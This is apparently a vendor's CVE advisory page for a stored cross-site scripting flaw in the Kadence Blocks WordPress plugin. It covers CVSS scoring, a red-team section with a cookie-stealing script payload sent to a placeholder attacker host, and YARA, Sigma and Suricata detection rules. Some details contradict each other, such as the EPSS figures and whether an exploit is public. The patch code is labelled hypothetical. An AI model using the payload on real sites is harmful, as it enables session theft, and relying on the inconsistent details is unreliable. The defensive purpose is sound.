☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.4 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-12581

CVE-2024-12581 Cross-Site Scripting in Kadence wp
📅 PUBLISHED: 2024-12-13 05:24 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.43%
👁️
0.43% probability
10.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
4.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-12581 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kadence Blocks – Gutenberg Blocks for Page Builder Features WordPress plugin, affecting all versions up to and including 3.2.53. The flaw resides in insufficient input sanitization and output escaping within admin settings, allowing authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site installations or installations where unfiltered_html has been disabled. The CVSS score is 4.4 (Medium), with a low EPSS probability of 0.0%. No public exploit code or patch details are currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. The plugin is not an NPM, PyPI, Go, or Ruby package, so no additional supply chain risks apply.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 4.4 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: High (PR:H) – requires admin-level access
  • User Interaction: Required (UI:R) – victim must visit the injected page
  • Scope: Changed (S:C) – impacts resources beyond the vulnerable component
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires high privileges and user interaction, but successful attacks can lead to persistent script injection affecting other users.

Deep Dive & Mechanics

The vulnerability exists in the admin settings of the Kadence Blocks plugin. The plugin fails to properly sanitize user input and escape output when processing certain configuration options. An authenticated administrator can inject malicious JavaScript code into these settings. When other users (including lower-privileged users) access pages that render these settings, the injected script executes in their browser context.

Root Cause: Insufficient input sanitization and output escaping in admin settings handling.

Attack Scenario:

  1. An attacker with admin credentials on a WordPress multi-site installation (or a site with unfiltered_html disabled) navigates to the Kadence Blocks settings page.
  2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable setting field.
  3. The payload is stored in the database without proper sanitization.
  4. When any user (including non-admin users) visits a page that renders this setting, the script executes.

Impact: The attacker can steal session cookies, redirect users to malicious sites, deface pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.2.53):

// Example of vulnerable output without escaping
echo $kadence_blocks_settings['custom_css'];

Patched Code (Hypothetical):

// Properly escaped output
echo esc_html( $kadence_blocks_settings['custom_css'] );

The patched version would use WordPress escaping functions like esc_html(), esc_attr(), or wp_kses() to neutralize malicious input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress multi-site installation or unfiltered_html disabled.
  • Admin-level credentials.
  • Kadence Blocks plugin version <= 3.2.53.

Steps:

  1. Log in as an administrator.
  2. Navigate to Settings > Kadence Blocks.
  3. Locate a vulnerable input field (e.g., custom CSS or JavaScript settings).
  4. Inject a payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  5. Save the settings.
  6. Wait for a victim to access any page that renders the injected content.

Proof-of-Concept (No public exploit available):

<!-- Stored XSS payload -->
<script>alert('XSS')</script>

Blue Team (Detection & Response)

Detection:

  • Monitor admin settings changes for suspicious patterns.
  • Review web server logs for unusual script execution.
  • Use WAF rules to block common XSS payloads.

Response:

  1. Identify and remove malicious settings entries.
  2. Reset compromised admin credentials.
  3. Apply the plugin update when available.
  4. Scan for additional indicators of compromise.

Indicators of Compromise (IOCs)

  • File Hashes: (None available)
  • Network Indicators:
    • Outbound connections to attacker-controlled domains.
    • HTTP requests containing <script> tags in admin settings endpoints.
  • Log Entries:
    • POST /wp-admin/admin-ajax.php?action=kadence_blocks_settings with suspicious payloads.
    • GET /wp-admin/options-general.php?page=kadence_blocks followed by unusual parameter values.
  • Database Indicators:
    • wp_options table entries containing kadence_blocks_settings with embedded JavaScript.

Detection Engineering

YARA Rule

rule detect_kadence_blocks_xss {
    meta:
        description = "Detects stored XSS payloads in Kadence Blocks settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12581"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $kadence_option = "kadence_blocks_settings"
    condition:
        $kadence_option and #xss_payload > 0
}

Sigma Rule

title: Kadence Blocks Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-12581 via admin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=kadence_blocks_settings'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate admin use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12581 Kadence Blocks Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=kadence_blocks_settings"; http_client_body; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not essential, especially on multi-site installations.
  2. Restrict admin access to trusted users only.
  3. Enable unfiltered_html for trusted administrators (note: this reduces security).
  4. Implement a Web Application Firewall (WAF) to block XSS payloads.

Long-Term Fix:

  • Apply the official patch when released by Kadence WP.
  • Update to a patched version (currently unknown).
  • Conduct a security audit of all admin settings inputs.

Workaround:

  • Use a security plugin like Wordfence to add virtual patching.
  • Manually sanitize and escape all admin settings in custom code.

Valters IT – Securing Digital Frontiers

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-12581/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.